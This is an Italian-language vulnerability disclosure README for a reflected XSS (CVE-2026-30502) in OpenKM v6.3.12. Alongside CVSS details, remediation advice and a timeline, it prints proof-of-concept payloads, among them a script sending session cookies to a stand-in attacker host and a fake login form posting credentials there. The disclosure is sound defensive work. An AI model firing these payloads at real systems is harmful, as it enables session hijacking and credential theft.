
Scoperta e segnalata da Dharmendra Kumar — Ricercatore di Sicurezza
Cybersecurity | Penetration Testing | Ricerca di Vulnerabilità | Divulgazione Responsabile
Questo repository documenta la divulgazione responsabile di CVE-2026-30502, una vulnerabilità di Cross-Site Scripting (XSS) riflesso identificata in OpenKM v6.3.12 — un sistema di gestione documentale open source ampiamente diffuso, utilizzato in ambienti enterprise e governativi.
La vulnerabilità risiede nel parametro Content, che riflette l'input fornito dall'utente nel browser senza un'adeguata sanificazione o codifica dell'output. Un attaccante può creare un URL malizioso contenente JavaScript incorporato e indurre tramite social engineering una vittima a cliccarci sopra, causando l'esecuzione di script nella sessione del browser della vittima.
⚠️ Gravità: Media–Alta | Vettore di attacco: Rete | Privilegi richiesti: Nessuno | Interazione dell'utente: Richiesta
OpenKM è un sistema di gestione documentale (DMS) gratuito e open source che fornisce un'interfaccia web per gestire, verificare e distribuire documenti aziendali. È utilizzato da aziende, enti governativi e istituzioni educative in tutto il mondo.
v6.3.12È stata identificata una vulnerabilità di Cross-Site Scripting (XSS) riflesso in OpenKM v6.3.12 tramite il parametro Content. L'applicazione non valida né codifica l'input fornito dall'utente prima di rifletterlo nel corpo della risposta HTTP, consentendo l'iniezione e l'esecuzione di JavaScript arbitrario nel browser della vittima.
A differenza dello Stored XSS, il payload di un XSS riflesso non viene persistito nel database — viaggia invece all'interno di un URL appositamente creato. L'attacco si basa sull'induzione della vittima a cliccare un link malizioso (distribuito via email, social media o campagne di phishing), dopo di che il payload viene eseguito silenziosamente nel browser con il contesto di sessione della vittima.
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
La vulnerabilità deriva dal mancato rispetto da parte dell'applicazione dei controlli di sicurezza input-output sul parametro Content:
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
Lo sfruttamento riuscito di questa vulnerabilità può portare a:
⚠️ Disclaimer: Le seguenti informazioni sono condivise esclusivamente a scopo educativo e di ricerca sulla sicurezza, nel rispetto dei principi della divulgazione responsabile. Non testare o utilizzare quanto descritto su sistemi che non possiedi o per i quali non hai ricevuto un'esplicita autorizzazione scritta.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
ContentContentIn questo processo sono stati seguiti pienamente i principi della divulgazione responsabile, inclusi il coordinamento con il fornitore e il coinvolgimento del CVE Program prima di qualsiasi rilascio pubblico.
Ricercatore di Sicurezza | Penetration Tester | Bug Hunter | Contributore CVE
Dharmendra Kumar è un ricercatore indipendente di cybersecurity specializzato in sicurezza delle applicazioni web, penetration testing e divulgazione responsabile delle vulnerabilità. La sua ricerca si concentra sull'identificazione e sulla segnalazione responsabile di difetti di sicurezza reali in software ampiamente utilizzati — contribuendo a rendere le applicazioni più sicure per gli utenti in tutto il mondo.
Aree di Competenza:
Contattami:
Questo repository è inteso esclusivamente a scopo educativo e informativo. I dettagli della vulnerabilità e i payload proof-of-concept sono pubblicati in conformità ai principi della divulgazione responsabile. L'autore non approva né si assume alcuna responsabilità per l'uso non autorizzato di queste informazioni. Ottenere sempre un'autorizzazione scritta esplicita prima di condurre test di sicurezza su qualsiasi sistema che non si possiede.
Un ringraziamento speciale a:
⭐ Se questa ricerca ti è stata utile, considera di mettere una stella a questo repository.
Ricerca sulla sicurezza condivisa apertamente per rendere il web più sicuro per tutti.
© 2026 Dharmendra Kumar — Tutti i diritti riservati
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-30502 |
| Prodotto | OpenKM |
| Versione interessata | v6.3.12 |
| Classe di vulnerabilità | Cross-Site Scripting riflesso (XSS) |
| Parametro vulnerabile | Content |
| CWE | CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Gravità | Media–Alta |
| Editore | MITRE CVE Program |
| Ricercatore | Dharmendra Kumar |
| Tipo di divulgazione | Responsabile / Coordinata |
| Debolezza | Descrizione |
|---|
| ❌ Nessuna validazione dell'input | Il parametro Content accetta caratteri HTML/JavaScript grezzi senza restrizioni o filtri |
| ❌ Nessuna codifica dell'output | I valori riflessi vengono scritti nella risposta HTML senza codifica delle entità HTML |
| ❌ Header CSP mancante | Nessuna Content Security Policy viene applicata per bloccare l'esecuzione di script inline |
| ❌ Nessun cookie HTTPOnly | I token di sessione sono accessibili via JavaScript, consentendo il furto diretto dei cookie |
| Rischio | Descrizione |
|---|
| 🍪 Dirottamento della sessione | Rubare i token di sessione attivi tramite document.cookie per impersonare la vittima |
| 🔑 Raccolta di credenziali | Iniettare overlay di login falsi per catturare nomi utente e password in chiaro |
| 📤 Divulgazione di informazioni | Esfiltrare contenuti documentali sensibili, dati utente o configurazioni interne |
| 🎣 Attacchi di phishing | Servire pagine false convincenti ospitate all'interno del dominio fidato di OpenKM |
| 👤 Compromissione dell'account | Eseguire azioni autenticate arbitrarie per conto della vittima |
| ⚙️ Azioni non autorizzate | Modificare, eliminare o esfiltrare documenti all'interno del DMS |
| 🖥️ Distribuzione di malware | Reindirizzare le vittime a siti controllati dall'attaccante che ospitano download maliziosi |
| Raccomandazione | Implementazione |
|---|
| ✅ Validazione dell'input | Rifiutare o rimuovere i caratteri speciali HTML (<, >, ", ', ;) da tutti i parametri controllati dall'utente |
| ✅ Codifica dell'output | Applicare una codifica HTML sensibile al contesto utilizzando librerie come OWASP Java Encoder prima di visualizzare i dati riflessi |
| ✅ Content Security Policy | Distribuire un header CSP rigoroso: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ Cookie HTTPOnly | Impostare i flag HttpOnly e Secure su tutti i cookie di sessione per bloccare l'accesso da JavaScript |
| ✅ Librerie di sicurezza | Integrare OWASP AntiSamy o DOMPurify per una sanificazione robusta |
| ✅ Aggiornamento | Applicare immediatamente l'ultima patch di sicurezza rilasciata dal fornitore |
| Data | Evento |
|---|
| 🔍 Scoperta | Vulnerabilità identificata durante la valutazione della sicurezza di OpenKM v6.3.12 |
| 📧 Notifica al fornitore | Report di divulgazione responsabile inviato al team di sicurezza di OpenKM |
| 🤝 Conferma del fornitore | Il team di OpenKM ha confermato il report della vulnerabilità |
| 📝 Assegnazione CVE | CVE-2026-30502 assegnato tramite il MITRE CVE Program |
| 🌐 Divulgazione pubblica | Divulgazione pubblica coordinata dopo il periodo di rimedio |